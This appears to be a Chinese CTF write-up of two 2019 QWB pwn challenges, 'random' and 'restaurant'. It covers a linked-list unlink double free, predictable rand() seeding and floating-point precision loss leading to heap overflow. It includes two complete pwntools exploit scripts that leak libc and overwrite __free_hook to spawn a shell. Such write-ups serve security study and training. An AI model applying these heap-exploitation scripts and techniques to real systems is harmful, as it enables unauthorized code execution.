前面两篇分析qwb题目的文章不是用看雪专栏markdown编辑的,今天刚刚发现看雪支持markdown,这样就不用每次我自己再重新修改格式,复制粘贴就ok了,前面的两篇文章也懒的重新调格式,就重新发了一篇专栏。
前面两篇地址2019-强网杯pwn-babycpp&&trywrite
写在前面:
REFERENCE:
http://blog.eonew.cn/archives/category/ctf/pwn
首先将程序的功能放在一个数组里面。
table.func1 = (__int64)add; table.func2 = (__int64)update; table.func3 = (__int64)delete; table.func4 = (__int64)view;
然后下面利用链表的方式将函数串联在一起。
其中在链表中插入节点的方式如下,bss段中存储着最新插入的节点,而且每次插入的节点都是在链表头插入到:
v2 = (node *)calloc(1uLL, 0x18uLL); *(_QWORD *)&v2->type = type; v2->func = func; v2->pre_node = lastest_node; v3 = v2; result = &lastest_node; lastest_node = v3; 对应的结构体: 00000000 node struc ; (sizeof=0x14, mappedto_7) 00000000 pre_node dq ? 00000008 func dq ? 00000010 type dd ? 00000014 node ends
然后删除节点函数如下:
result = (_QWORD *)lastest_node; if ( lastest_node ) { ptr = (node *)lastest_node; v4 = (node *)lastest_node; do { while ( *(_QWORD *)&ptr->type != type ) //便利查询符合条件的node { v4 = ptr; result = (_QWORD *)ptr->pre_node; ptr = (node *)ptr->pre_node; if ( !ptr ) return result; } v5 = (void (__fastcall *)(node *))ptr->func; if ( ptr == (node *)lastest_node ) //解链操作 { lastest_node = ptr->pre_node; v4 = (node *)lastest_node; v3 = (node *)lastest_node; } else { v4->pre_node = ptr->pre_node; v3 = (node *)ptr->pre_node; } free(ptr); //先释放当前的node v5(ptr); //然后调用当前node中对应的函数 result = &v3->pre_node; ptr = v3; } while ( v3 );
现在看在添加删除节点都没有问题,但是在add函数中也会有“多余的”添加节点的操作,如下
if ( v0 == 89 ) { for ( i = 0; i <= 14; ++i ) { size = (void *)list[2 * i]; if ( !size ) { puts("Input the size of the note:"); LODWORD(size) = get_int(); if ( (signed int)size > 0 && (signed int)size <= 63 ) { list[2 * i + 1] = (signed int)size; list[2 * i] = malloc((signed int)size + 1); puts("Input the content of the note:"); read_n((_BYTE *)list[2 * i], list[2 * i + 1]); puts("success!"); puts("Do you want to add another note, tomorrow?(Y/N)"); v2 = getchar(); LODWORD(size) = getchar(); if ( v2 == 89 ) LODWORD(size) = (unsigned __int64)put_node((__int64)add, 2); //多余的添加节点的操作,这个部分会导致解链过程当中发生异常。 } return (signed int)size; } } }
里面有一个别扭的地方,就是利用rand()函数来决定进行什么功能。
v4 = rand(); put_node(*(&table.func1 + v4 % 4), 2);
好像是随机的,没法控制?
我们知道计算机模拟的随机数并不是真正的随机,所有产生的随机数都是伪随机数,像这种随机数就可以预测。只要srand设置的seed种子一样,那么rand函数产生的随机数就是一样的。
我们查内存,看到srand函数的seed值为0.
自己写一个c文件预测一下。
#include <stdlib.h> #include <stdio.h> int main() { srand(0); char * buf[4]; buf[0] = "add"; buf[1] = "update"; buf[2] = "delete"; buf[3] = "view"; for(int i=0;i<50;i++) { int num = rand()%4; printf("%d : %s\n",num,buf[num]); } return 0; }
根据预测可以看到每个函数的调用顺序。
上面说过,在删除节点的过程中如果add功能中选择增添新的节点,那么会导致异常,进而导致double free。
解链过程如下: 设置了一个pre变量,一个cur变量,常规解链操作。 do { while ( *(_QWORD *)&ptr->type != type ) { pre = ptr; result = (_QWORD *)ptr->pre_node; ptr = (node *)ptr->pre_node; if ( !ptr ) return result; } v5 = (void (__fastcall *)(node *))ptr->func; if ( ptr == (node *)lastest_node ) { lastest_node = ptr->pre_node; pre = (node *)lastest_node; cur = (node *)lastest_node; } else { pre->pre_node = ptr->pre_node; cur = (node *)ptr->pre_node; } free(ptr); v5(ptr); //运行功能函数 result = &cur->pre_node; ptr = cur; } while ( cur );
但如果我们在解链过程中运行功能函数的话,会导致异常,具体如下:
刚开始(左边的是链头),下面都是到while循环判断这一句的状态,假设当前满足条件的是A: #第一次 A-->B-->C-->D-->E header = A pre = cur = A #第二次: 假设在A解链过程中调用add函数增添了新的节点M M-->B-->C-->D-->E header = M pre = cur = B #第三次 M-->B C-->D-->E header = A cur = pre = C 可以看到现在B已经被解链了,但是表头M仍然在pre_node段记录着B的信息,其仍然存在链上,后面会造成double free。(B被释放到fastbin里面可能存在指向fastbin中的chunk,但是后面也会申请出来,emm表达不是很清楚,自己理解吧。)
现在我们知道了漏洞点,后面就是利用double free了,但是libc2.23下对于0x21大小的chunk double free好像不太好用,出题人故意在bss端允许放置0x21的可能,因此可以fastbin attack控制bss段,后面就简单了。
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'info' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './random' ctx.symbols = { 'lastest_node':0x203168, 'node':0x203180, } ctx.breakpoints = [0x11C9,0x184E]#menu:0x17B5 reduce:0x11C9 puts_node:0x183a #ctx.debug() def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def Y_N(flag = False): if flag == False: sla('(Y/N)','N') else: sla('(Y/N)','Y') def add(size,content,flag = False): Y_N(True) sla('size',size) sa('content',content) if flag == False : Y_N() else: Y_N(True) def delete(idx): Y_N(True) sla('index',idx) def view(idx): Y_N(True) sla('note:\n',idx) def update(idx,content): Y_N(True) sla('index',idx) sa('content',content) rs() sa('name','a'*8) ru('game, ') prog_base = uu64(ru('\n',drop = True)[-7:-1]) - 0xb90 lg('prog_base',prog_base) sl(35) #round 1 sla('(0~10)',8) add(0x21,'\n',True) #prepare for fastbin attack , used to be the fake_size. And prepare for double free for i in range(7): Y_N() #round 2 sla('(0~10)',7) for i in range(9): Y_N() #round 3 sla('(0~10)',2) fake_chunk = prog_base + 0x203180 add(0x8,p64(fake_chunk)) #node 1 fastbin attack for i in range(1): Y_N() #round 4 sla('(0~10)',3) add(0x21,'\n') # prepare for free fake_chunk for i in range(2): Y_N() #round 5 sla('(0~10)',8) for i in range(8): Y_N() #round 6 #get shell sla('(0~10)',10) payload = p64(prog_base+0x203080)+p64(0x18) add(0x17,payload+'\n')#index 3 for i in range(1): Y_N() view(1) libc_base = uu64(r(6)) - ctx.libc.sym['malloc'] lg('libc_base',libc_base) free_hook = libc_base + ctx.libc.sym['__free_hook'] one = libc_base + 0x4526a update(3,p64(free_hook)+p64(0x10)+'\n') for i in range(3): Y_N() update(1,p64(one)+'\n') irt()
题目主要是有一个数组越界,可以控制name的curent_size从而导致堆溢出。
要达成数组越界还需要利用double类型浮点数在表示大数的情况下其精度会下降,不能精确表示小数。
简单举例:
double num = 1e16; num += 0.55 虽然num + 0.55,但是由于浮点数的编码规则,其在表示这种大数情况下并不能将0.55这种精度的小数表达出来,因此最终加完之后的num仍然是1e16。
关于double 类型的浮点数精度损失分析详见:内存中的数据存储
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'info' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './restaurant' ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('172.16.9.21', 9006) ctx.debug_remote_libc = True ctx.symbols = { 'node':0x202360 } ctx.breakpoints = [0x1360]#printf:0xCF9 0xfa2 : set_count def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def set_name(size,name): sla('(y/n)','y') sla('name: ',size) if size > 0x200: return sa('name: ',name) def order(idx,count,size,name='\n'): sla('ice',1) sla('want:',idx) sla('want:',count) sla('tips:',0.55) set_name(size,name) def pay(size,name='\n'): sla('ice',3) set_name(size,name) def request(name,price): sla('ice',4) sla('ame: ',name) sla('ice: ',price) rs() request('111',str(1e16)) request('222',-999) #modify the current_size order(5,1,0x18) order(5,0,0x48) order(5,0,0x58) order(5,0,0x201) order(5,0,0x201) order(5,0,0x18) payload = 'a'*0x10 + p64(0) + p64(0x421) #fake_chunk payload += 'a'*0x30 payload += p64(0)+p64(0x101) # modify the chunk_size payload = payload.ljust(0x430,'a') payload += (p64(0)+p64(0x21))*3 #bypass the free_check order(6,8,8,payload+'\n') #leak libc order(5,0,0x201) order(5,0,0x48) order(5,0,0x201)# free 0x421 order(5,0,0x28,'a'*8) ru('a'*8) libc_base = uu64(r(6)) - 0x3ec090 lg('libc_base',libc_base) #get shell free_hook = libc_base + ctx.libc.sym['__free_hook'] system = libc_base + ctx.libc.sym['system'] payload = 'a'*0x18 + p64(0x101) + p64(free_hook-8) order(5,0,0x68,payload+'\n') order(5,0,0x201) order(5,0,0x58) order(5,0,0x201) payload = '/bin/sh\0' + p64(system) order(5,0,0x58,payload+'\n') order(5,0,0x201) irt()